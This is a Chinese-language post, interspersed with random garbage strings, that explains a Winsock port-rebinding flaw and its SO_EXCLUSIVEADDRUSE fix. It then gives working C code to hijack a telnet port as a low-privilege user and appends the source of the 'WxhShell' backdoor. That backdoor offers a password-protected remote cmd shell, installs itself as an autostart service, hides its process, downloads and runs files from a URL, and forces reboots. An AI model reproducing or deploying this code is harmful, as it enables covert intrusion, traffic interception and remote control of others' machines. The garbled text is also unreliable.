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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ")p\q:z6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ('+d.F[109 F#5~M<`.o saddr.sin_family = AF_INET; yyTnL 2Y9 R[]Mdt< saddr.sin_addr.s_addr = htonl(INADDR_ANY); EQSQFRk; 2&J)dtqz bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5146kp|1 mgU<htMr1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]JQULE) $U-0)4yf 这意味着什么?意味着可以进行如下的攻击: vo{--+{ky! %JTpI` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4 s9LB t\O16O7S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }4X0epPp;: ]7c=PC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rEz^ MVUJD{X# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 <b*DQ:N A?OQE9' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &_8947 T6$+hUM$1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <(#ej4ar, a(ZcmYzXU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |CbikE}kL @BMx!r5kn #include 0#gK6o! #include :7;@ZEe #include H3oFORh #include %^6F_F_jS DWORD WINAPI ClientThread(LPVOID lpParam); {?7Uj int main() w_V P
J { b*lkBqs$ WORD wVersionRequested; 9%obq/Lb DWORD ret; YtLt*Ig% WSADATA wsaData; vW@=<aS Z BOOL val; W[r>.7>?h SOCKADDR_IN saddr; '$+ogBS
SOCKADDR_IN scaddr; */S_Icf int err; Ab;.5O$y SOCKET s; NvX[zqNP_R SOCKET sc; E _|<jy$` int caddsize; )D%~`,#pQ HANDLE mt; WUTowr DWORD tid; :.`2^ wVersionRequested = MAKEWORD( 2, 2 ); 7F.4Ga; err = WSAStartup( wVersionRequested, &wsaData ); %A0/1{( if ( err != 0 ) { >^{yF~( printf("error!WSAStartup failed!\n"); j_j]"ew) return -1; 7_[L o4_ } >=w)x,0yX saddr.sin_family = AF_INET; ~)M~EX&pK Yx`n:0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dqcL]e @>7%qS saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `">= saddr.sin_port = htons(23); V0Hj8}l;M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &BSn? { iH'p>s5L printf("error!socket failed!\n"); X"*5+* z] return -1; AbOf6%Env } RPbZ(. val = TRUE; +aAc9'k //SO_REUSEADDR选项就是可以实现端口重绑定的 "$vRMpW: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0<*<$U { Vi|#@tC' printf("error!setsockopt failed!\n"); {Y1Ck5 return -1; tpx2IE } i"=\d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =-Ck4e *T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 62NsJ<#> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PQE=D0 |5 ]X| v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7uk[Oy<_ { f%8C!W]Dm ret=GetLastError(); "ocyK}l.?
printf("error!bind failed!\n"); 8RHUeRX return -1; "9807OME } bW:!5"_{H listen(s,2); IAyp 2 while(1) MWh6]gGs { W}ofAkF caddsize = sizeof(scaddr); -tU'yKhn //接受连接请求 ?&uu[y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rk8P
ax/JK if(sc!=INVALID_SOCKET) NX&_p!_V { dQG=G%W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \
6MCxh6 if(mt==NULL) f?)-}\[IR{ { @E8+C8' printf("Thread Creat Failed!\n"); HE\K@3- break; [_:nHZb } $Ygue5{c } *OQ2ucC8j CloseHandle(mt); - !
S_ryL } -ze J#B)C closesocket(s); x|29L7i WSACleanup(); K.yb
^dg5 return 0; 23jwAsSo } IvNT6]6 P DWORD WINAPI ClientThread(LPVOID lpParam) iJ|uvPCE { 3r1*m
+ SOCKET ss = (SOCKET)lpParam; ,tRj4mx SOCKET sc; fd9k?,zM unsigned char buf[4096]; $NO&YLS@ SOCKADDR_IN saddr; /Gfw8g\} long num; q0\6F^;M DWORD val; Zgb!E]V[ DWORD ret; P+HXn8@ //如果是隐藏端口应用的话,可以在此处加一些判断 M'l ;: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 OB}Ib] saddr.sin_family = AF_INET; yF/j Fn saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aQI(Y^&%3 saddr.sin_port = htons(23); .o}v#W+st if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wS3'?PRX { .tr!(O],h printf("error!socket failed!\n"); H%lVl8oQ return -1; W(/h Vt } HLi%%"' val = 100; (4-CF3D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CTA3*Gn { (uidNq ret = GetLastError(); HtYwEj I return -1; Vf1^4t } Dum9lj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k==h|\| { AwF:Iu^3n ret = GetLastError(); 8Cv?Z.x5 return -1; h@wgd~X9 } Z5]>pJFq, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l9H!au= { 7cMv/g^h@ printf("error!socket connect failed!\n"); rQ snhv closesocket(sc); An/|+r\ closesocket(ss); >c}u>]D return -1; AkiDL=;w } .5{ab\_af while(1) J4U1t2@)9 { 2I{"XB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Oa>Ppldeg //如果是嗅探内容的话,可以再此处进行内容分析和记录 mB)bcuPv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1m0c|ckb num = recv(ss,buf,4096,0); Z<{QaY$" if(num>0) dUdT7ixo send(sc,buf,num,0); _PR4`C* else if(num==0) )Xyn
q( break; Yz)qcU num = recv(sc,buf,4096,0); J<lO=
+mg if(num>0) oe~b}: send(ss,buf,num,0); f(7GX3? else if(num==0) ~flV`wy$$1 break; +[g,B1jt } sW8dPw
O closesocket(ss); "tpSg closesocket(sc); `5Zz5V return 0 ; T^]}Oy@e,J } Z;)%%V%o B4 }bVjs hehFEyx ========================================================== ^T-V^^#( R0-j5&^jju 下边附上一个代码,,WXhSHELL lU8Hd|@- b5n'=doR/I ========================================================== lsNd_7k ]5:8Z@ #include "stdafx.h" )dd@\n$6 %D "I #include <stdio.h> aC)!T #include <string.h> 8, >P #include <windows.h> 63 B?. #include <winsock2.h> A&jlizN7 #include <winsvc.h> E8&TO~"a]e #include <urlmon.h> ,
++ `=o ufT`"i #pragma comment (lib, "Ws2_32.lib") !jR=pI fq #pragma comment (lib, "urlmon.lib") +^T@sa`[I SByW[JE #define MAX_USER 100 // 最大客户端连接数 @U}1EC{A #define BUF_SOCK 200 // sock buffer ;,e2egC' #define KEY_BUFF 255 // 输入 buffer BIL Lq8) jWfa;&Ra #define REBOOT 0 // 重启 u\JNr}bL #define SHUTDOWN 1 // 关机 3sZ\0P} ,s;UfF #define DEF_PORT 5000 // 监听端口 xKp4*[}m =_u4=4 #define REG_LEN 16 // 注册表键长度 3=ymm^ #define SVC_LEN 80 // NT服务名长度 VY\&8n}e( 9'q*:&qq // 从dll定义API <Q?F?.^e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xla~Yg typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8)I^ t81 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (dSL7nel;L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @f_+=}|dc [!OxZ! // wxhshell配置信息 |ZBI * struct WSCFG { #Mw8^FST int ws_port; // 监听端口 #>+ HlT char ws_passstr[REG_LEN]; // 口令 @F*%9LPv int ws_autoins; // 安装标记, 1=yes 0=no AYx{U?0p char ws_regname[REG_LEN]; // 注册表键名 )K char ws_svcname[REG_LEN]; // 服务名 pyvSwD5t char ws_svcdisp[SVC_LEN]; // 服务显示名 HyWCMK6b char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?6Y?a2 | char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D}/vLw :v int ws_downexe; // 下载执行标记, 1=yes 0=no a:6m7U)P#5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Tnm.A? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M =r)I~ 5XBH$&Td }; TRq6NB +srGN5! // default Wxhshell configuration ')3
bl3: struct WSCFG wscfg={DEF_PORT, gB'6`' "xuhuanlingzhe", Q'0d~6n&{ 1, G'A R`"F "Wxhshell", M/gGoE{ "Wxhshell", d>C$+v> "WxhShell Service", 'b{]:Y "Wrsky Windows CmdShell Service", `W*U4?M "Please Input Your Password: ", D}X\Ca"h 1, 8-77d^cprR " http://www.wrsky.com/wxhshell.exe", w+CA1q< "Wxhshell.exe" lU8`F(Mn }; /I0%Z+`= 3:i@II // 消息定义模块 :20W\P<O!A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CizX<Cr} char *msg_ws_prompt="\n\r? for help\n\r#>"; 3/n5#&c\4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Jz e:[MYS char *msg_ws_ext="\n\rExit."; JFk
lUgg char *msg_ws_end="\n\rQuit."; 9-*uPK]m9 char *msg_ws_boot="\n\rReboot..."; omBoo5e char *msg_ws_poff="\n\rShutdown..."; s!7y char *msg_ws_down="\n\rSave to "; k+pr \d ~ p=}Nn( char *msg_ws_err="\n\rErr!"; 65Yv4pNL char *msg_ws_ok="\n\rOK!"; C>*u()q>4h ?<'}r7D char ExeFile[MAX_PATH]; #4 pB@_ int nUser = 0; hQDXlFHT HANDLE handles[MAX_USER]; r\V
={p int OsIsNt; U\*J9 AkQ~k0i}b SERVICE_STATUS serviceStatus; !d0kV,F: SERVICE_STATUS_HANDLE hServiceStatusHandle; 7O-x<P; H~1jY4E // 函数声明 _"rgET`vW int Install(void);
Z>5b;8 int Uninstall(void); ;hN!s`vq int DownloadFile(char *sURL, SOCKET wsh); nc|p ) int Boot(int flag); 5"O.,H} void HideProc(void); X_\otVh(D int GetOsVer(void); '16b2n+F@# int Wxhshell(SOCKET wsl); V[Ui/M!9Z void TalkWithClient(void *cs); ,1o FPa{? int CmdShell(SOCKET sock); @r/nF5 int StartFromService(void);
wcY?rE9 int StartWxhshell(LPSTR lpCmdLine); #'9HU2 @i IRmQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dwfu.ZJa VOID WINAPI NTServiceHandler( DWORD fdwControl ); P\rg"
3 YglmX"fLf // 数据结构和表定义 y/ef>ZZ SERVICE_TABLE_ENTRY DispatchTable[] = Gu\q%'I { !."D]i; {wscfg.ws_svcname, NTServiceMain}, M:B=\&.O {NULL, NULL} 338k?nHxv };
7\Y0z -z%^)VE // 自我安装 q9r[$%G int Install(void) ZRU{[4 { i6Emhji char svExeFile[MAX_PATH]; mSh[}%swj HKEY key; &Ys<@M7E: strcpy(svExeFile,ExeFile); C1 GKLl~ cB}D^O // 如果是win9x系统,修改注册表设为自启动 Vb]=B~ ^` if(!OsIsNt) { ={@6{-tl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D7Q$R:6| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >jc [nk RegCloseKey(key); ]K,Tnyp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KF!Yf\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Od,qbU4O RegCloseKey(key); fSvM(3Y<Qh return 0; _5Ct]vy } R)s:rJQ=p } ,S]7 'UP } jLHkOk5{: else { S k\K4 t)$:0 // 如果是NT以上系统,安装为系统服务 "n5N[1bk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ig0VW)@ if (schSCManager!=0) _H7x9
y= { #( 146 SC_HANDLE schService = CreateService N)\. [v ( <FkFs{(t schSCManager, EDl!w: wscfg.ws_svcname, l L@XM2" wscfg.ws_svcdisp, y(yHt=r SERVICE_ALL_ACCESS, HJ[c M6$2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B!L{ SERVICE_AUTO_START, rlSeu5X6 SERVICE_ERROR_NORMAL, ~
=2PU$u svExeFile, x@;m8z0 NULL, 4yr'W8X_ NULL, ywmo#qYe NULL, 6HWE~`ok6 NULL,
=ncVnW{ NULL i#Bf"W{F ); `%9 uE( if (schService!=0) ShP^A"Do { u.m[u)HQ CloseServiceHandle(schService); Zaf:fsj> CloseServiceHandle(schSCManager); jZkcBIK2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FxWS V| Z strcat(svExeFile,wscfg.ws_svcname); #rQ2gx4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2E)-M9ds RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Np0wg0 RegCloseKey(key); k|PN0&J return 0; M; tqp8 } :vQrOn18p } :zke %Yx CloseServiceHandle(schSCManager); 5 ,B_u%bb } 0{p#j~ZhC } `*N[jm" A>;bHf@ return 1; :g=qz~2Xk } umH40rX+ MKD1V8i // 自我卸载 t:
;Pj9 int Uninstall(void) Y0dEH^I { x,@B(9No HKEY key; U-(01- Kaqc74Mv if(!OsIsNt) { Vl=l?A8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a;qryUyG RegDeleteValue(key,wscfg.ws_regname); =M[bnq*\ RegCloseKey(key); e>7>j@(K] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jB Z&Ad@e RegDeleteValue(key,wscfg.ws_regname); Q}K"24`= RegCloseKey(key); G3vxjD<DMW return 0; CMG&7(MR }
#3@rS } g-</ua(j } L;NvcUFn else { yT"Eq"7/Y# '/n1IM$7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;yLu R if (schSCManager!=0) l<LP& { {
Vf XsI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r|fL&dtr if (schService!=0) Zd}9O jz5 { RSyUaA if(DeleteService(schService)!=0) { y@: h4u"3 CloseServiceHandle(schService); 0oZ=
yh CloseServiceHandle(schSCManager); O1U= X:Zl return 0; oAJM]%g{ } [")o.( CloseServiceHandle(schService); uLL]A>vR } +yH7v5W CloseServiceHandle(schSCManager); z2_*%S@ } .B]MpmpK } IS{wtuA. pnowy; return 1; #@9/g } Vl/+;6_ d *|Y
o // 从指定url下载文件 L~rBAIdD int DownloadFile(char *sURL, SOCKET wsh) vrhT<+q { JPc+rfF HRESULT hr; t?x<g <PJ4 char seps[]= "/"; rq/yD,I, char *token; r6MMCJ|G char *file; ;4^Rx char myURL[MAX_PATH]; fF$<7O)+] char myFILE[MAX_PATH]; L_uVL#To RXpw! strcpy(myURL,sURL); rb2S7k0{ token=strtok(myURL,seps); o WrKM while(token!=NULL) 'EEJU/"u { ug!s7fo^ file=token; J6s`'gFns token=strtok(NULL,seps); qo90t{|c } 'KS,'% nQX:T;WL@ GetCurrentDirectory(MAX_PATH,myFILE); uD$u2 strcat(myFILE, "\\"); hk(ZM#Bh strcat(myFILE, file); <EB+1GFuI send(wsh,myFILE,strlen(myFILE),0); B:;pvW] send(wsh,"...",3,0); @fZ,.2ar hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |mdVdD~go if(hr==S_OK) h5{'Q$Erl return 0; 1MP~dRZ$ else xd q?/^E return 1; L%*!`TN hYT0l$Ng } W#4 7h7M @; zl // 系统电源模块 w;[NH/A^a int Boot(int flag) _(W+S`7Z { @Q
]=\N: HANDLE hToken; 7 S#J>* TOKEN_PRIVILEGES tkp; UqFO|r"M E:sf{B'& if(OsIsNt) { <ktrPlNuM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 53;}Nt#R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xjuN- tkp.PrivilegeCount = 1; d6?j`~[7#- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]_mb7X> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =r?hgGWe if(flag==REBOOT) { ~:rl=o } if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k$z_:X return 0; (Y.k8";)` } G\/zkrxmv else { Yh@JXJ> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_JzEGpeG return 0; b@gc{R}7 } V%7WUq } knu,"< else { w=0(<s2 if(flag==REBOOT) { qOIyub if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1y4|{7bb return 0; }WC[$Y_@ } KVoS
C@w else { 5Md=-,'J! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sQUM~HD\a return 0; ="1Ind@w!
} GfxZ'VIn } fa
jGZyd0: tzWSA-Li return 1; .;y.]Z/; } Z,
zWuE3 |sJ[0z // win9x进程隐藏模块 vjbASFF0= void HideProc(void) /wQy17g { ,uSMQS-O'4 9Z@hPX3. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }Sm(]y if ( hKernel != NULL ) lK?uXr7^ { LiC*@W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YiXk5B0Uh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^]>O;iB? FreeLibrary(hKernel); (R[[Z,>w. } m4[ ;(1 |{z:IQLv return; !P2ro~0/ } : Xda1S uanhr)Ys // 获取操作系统版本 gDQ^)1k int GetOsVer(void) G)AqbY { %^)fmu OSVERSIONINFO winfo; L\6M^r
> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pxA? GetVersionEx(&winfo); A9KET$i@v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Yamc#A- return 1; m<<+ else ?(@
7r_j return 0; 6+:iy'- } NlA,'`, lF<]8m%F // 客户端句柄模块 N~nziY*C,* int Wxhshell(SOCKET wsl) $g^@AdE% { aj-Km`5r} SOCKET wsh; k%]3vRo< struct sockaddr_in client; YU'k#\gi* DWORD myID; =Pyj%4Rs $f$SNx)), while(nUser<MAX_USER) |QF7
uV { n QF(vTDN int nSize=sizeof(client); %e8@*~h@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]vB$~3|| if(wsh==INVALID_SOCKET) return 1; pE3?"YO SJlr53 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rP'me2
B if(handles[nUser]==0) /`Ug9,* closesocket(wsh); WqR&&gz else PF0_8,@U nUser++; ^Y?k0z } #z' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M:=J^0 :;v~%e{k return 0; [@_Jj3`4 } cRC6 s8 +X\FBvP& // 关闭 socket 3xy<tqfr void CloseIt(SOCKET wsh) V%t.l { DcS+_>a\{l closesocket(wsh); {Ea
b
j nUser--; xf'V{9* ExitThread(0); bS{bkE> } W Tcw4 ;_XFo&@ // 客户端请求句柄 nd`1m[7MNu void TalkWithClient(void *cs) PioZIb/{ { ]HbY av(6wht8 SOCKET wsh=(SOCKET)cs; 3RUy,s char pwd[SVC_LEN];
>^O7 char cmd[KEY_BUFF]; eYc$dPE char chr[1]; 8 %:Iv(UMk int i,j; 2/U.|*mH qRu~$K while (nUser < MAX_USER) { b;L\EB Q@= Q0 if(wscfg.ws_passstr) { zWnX*2>b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xPdG*OcX! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \wmN //ZeroMemory(pwd,KEY_BUFF); .w:DFk^E]b i=0; PgAf\.48a while(i<SVC_LEN) { pP1|&`}ux ,S\CC{! // 设置超时 S0$8@"~= fd_set FdRead; y1z4ik)Sd@ struct timeval TimeOut; ufj,T7g^ FD_ZERO(&FdRead); AI2~Jp FD_SET(wsh,&FdRead); [=C6U_vU TimeOut.tv_sec=8; v<k?Vu TimeOut.tv_usec=0; ; cNv\t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y-Fo=y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^ G]J ,+ k``_EiV4t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pt?bWyKG pwd =chr[0]; R-
X5K- if(chr[0]==0xd || chr[0]==0xa) { HH`'*$]7 pwd=0; fT|.@%"vc break; Od,=mO*.Q } [\]50=& i++; =&6eM2>P } JhYe6y[q Z<oaK // 如果是非法用户,关闭 socket *9
{PEx if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b\f
O8{k } #x@$lc=k3 eNh39er send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^+ml5m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t6rRU~;} KA5v +~ while(1) { m5n#v qyb?49I ZeroMemory(cmd,KEY_BUFF); =<C:d XE RUo // 自动支持客户端 telnet标准 TT%M'5& j=0; _IMW{ while(j<KEY_BUFF) { YO`]UQ|dc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Brw@g8w-X cmd[j]=chr[0]; t}a: p6D] if(chr[0]==0xa || chr[0]==0xd) { uuEV_ "X cmd[j]=0; 6dQ-HI*Y# break; a9e>iU } 2B1q*`6R j++; P.se'z)E } rE7G{WII PxX4[ P // 下载文件 LG0;#3YwH if(strstr(cmd,"http://")) { h#I>M`| send(wsh,msg_ws_down,strlen(msg_ws_down),0); $V;i
'(&7 if(DownloadFile(cmd,wsh)) MBK^FR-K send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,O5NLg- else ~i= _J3' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I@\lN&HC } d2FswF$C else { -12UN(&&Z ,i NXK switch(cmd[0]) { @)F )S7 eSn+ B;
// 帮助 1y&\5kB case '?': { @3i\%R)n; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bG"~"ipn% break; +.8
\p5 } rw[ph[\X // 安装 d7^}tM case 'i': { yZ7&b&2nLn if(Install()) (y'hyJo send(wsh,msg_ws_err,strlen(msg_ws_err),0); zC:ASt else b)#hSjWO# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -:^U_FL8un break; n)/z0n!\ } BU)U/A8iS // 卸载 wVXS%4|v case 'r': { &<g|gsG` if(Uninstall()) f^ZRT@`O send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rr$-tYy6 else O^PKn_OJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?5__oT break; 3d8L6GJ } [Y/}
^ // 显示 wxhshell 所在路径 OF>mF~ case 'p': { 2>9C-VL2 char svExeFile[MAX_PATH]; hF?1y `20 strcpy(svExeFile,"\n\r"); 1#g2A0U, strcat(svExeFile,ExeFile); <V'@ks% send(wsh,svExeFile,strlen(svExeFile),0); t?X877z break; qx(xvU9 } %QH$ipM // 重启 _{O>v\u case 'b': { 3Aip}<1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mexk~zA^ if(Boot(REBOOT)) ;a!S!%.h send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rh2+=N<X else { OKZV{Gja closesocket(wsh); PNhe ExitThread(0); GMx&y2. Z } ;>hO+Wo break; E =67e=h } R- wp9 ^ // 关机 &AMl:@p9 case 'd': { mUC)gA/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PQt")[ if(Boot(SHUTDOWN)) uC vj! send(wsh,msg_ws_err,strlen(msg_ws_err),0); "!P3R1;% else { %`r$g[<G closesocket(wsh); 5pG}Yk_(x ExitThread(0); B
IEO,W| } + 480 l} break; , pfG } M^Yh|%M // 获取shell ja'T+!k case 's': { CkC^'V) CmdShell(wsh); Po;W'7"Po` closesocket(wsh); "Y.tht H ExitThread(0); !TH)
+zi break; Kn{4;Xk\ } _ye |Y // 退出 XX!%RE`M8 case 'x': { q$UJ$7=f8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6v!`1}
~ CloseIt(wsh); "{+QW break; #MkTkm&r } N% B>M7-= // 离开 wu6;.xTLl case 'q': { Paq4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2qNt,;DQ closesocket(wsh); $Wol?)z WSACleanup(); MY)O^I X$ exit(1); r6Dz;uz break; rKc9b<Ir } sdrfsrNvB- } iMh#TUlQEQ } =Bey gT^ 8`{:MkXP // 提示信息 ,ng Cv;s if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <=&`ZH } kazzVK5x } klYX7? Dpac^ST return; <dNOd0e } 3`?7<YJ T<>,lQs(a // shell模块句柄 E=Bf1/c\ int CmdShell(SOCKET sock) Oszj$C(jF { :,7hWs STARTUPINFO si; ttQGoUkj ZeroMemory(&si,sizeof(si)); {fM'6;ak si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~=LE0. 3[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W
i.&e PROCESS_INFORMATION ProcessInfo; VGN5<?PrN char cmdline[]="cmd"; >6-`}G+| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hfB%`x#akQ return 0; .V<+v-h } 3 \,4 ]l|
7EEl+;wK // 自身启动模式 LOYk9m int StartFromService(void) G!##X: 6' { 6|=f$a typedef struct +=h:Vb8 { pllGB6X DWORD ExitStatus; d1T!+I DWORD PebBaseAddress; 4at?(B+ DWORD AffinityMask; DCa^
u'f DWORD BasePriority; 9=tIz ULONG UniqueProcessId; d-ko
^Y0 ULONG InheritedFromUniqueProcessId; j;r-NCBnz } PROCESS_BASIC_INFORMATION; {Xy5pfW
Q 4_lrg|X1 PROCNTQSIP NtQueryInformationProcess; 1I6px$^E\ r;2^#6/Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Hm>i static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >:!5*E5? _f,C[C[e& HANDLE hProcess; djZqc5t PROCESS_BASIC_INFORMATION pbi; S hWJ72c 29b9`NXt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e9tjw[+A if(NULL == hInst ) return 0; WU`
